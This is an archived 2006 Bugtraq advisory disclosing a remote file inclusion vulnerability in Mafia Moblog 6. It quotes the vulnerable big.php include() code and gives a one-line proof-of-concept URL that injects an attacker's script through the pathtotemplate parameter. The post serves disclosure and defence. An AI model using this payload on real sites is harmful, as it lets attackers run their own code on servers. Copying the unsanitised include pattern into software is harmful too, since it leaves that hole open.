lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: 10 Aug 2006 13:06:23 -0000
From: sh3ll@...ll.ir
To: bugtraq@...urityfocus.com
Subject: Mafia Moblog <= 6 (pathtotemplate) Remote File Inclusion
 Vulnerability

-------------------------------------------------------------------------------------------
Mafia Moblog pathtotemplate Remote File Inclusion
-------------------------------------------------------------------------------------------
Author   : Sh3ll
Date     : 2006/04/30
HomePage : http://www.sh3ll.ir
Contact  : sh3ll[at]sh3ll[dot]ir
-------------------------------------------------------------------------------------------
Affected Software Description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Mafia Moblog
version     : 6
Venedor     : http://mafia.pearlabs.org
Class       : Remote File Inclusion
Risk        : High
Summary     : 
A Free, Fully Customizeable, Open-Source MoBlog script that will run on any 
platform that is PHP and MySQL compatible. 
-------------------------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~
The problem exists is in the big.php when used the variable $pathtotemplate in a 
include() function without being Declared.
----------------------------------------big.php--------------------------------------------
...
<?php

include("info.php");

include("template.php");

if (file_exists("$pathtotemplate/includes.php")) {include("$pathtotemplate/includes.php");}

include("$pathtotemplate/big.php");

?>
...
-------------------------------------------------------------------------------------------
PoC:
~~~
http://www.target.com/[Mafia Moblog]/big.php?pathtotemplate=[Evil Script]

Solution:
~~~~~~~~
Sanitize Variabel $pathtotemplate in big.php
-------------------------------------------------------------------------------------------
Note:
~~~~
venedor contacted, but no response. so do a dirty patch.
-------------------------------------------------------------------------------------------
Shoutz:
~~~~~~
~ Special Greetz to My Best Friend N4sh3n4s & My GF Atena
~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ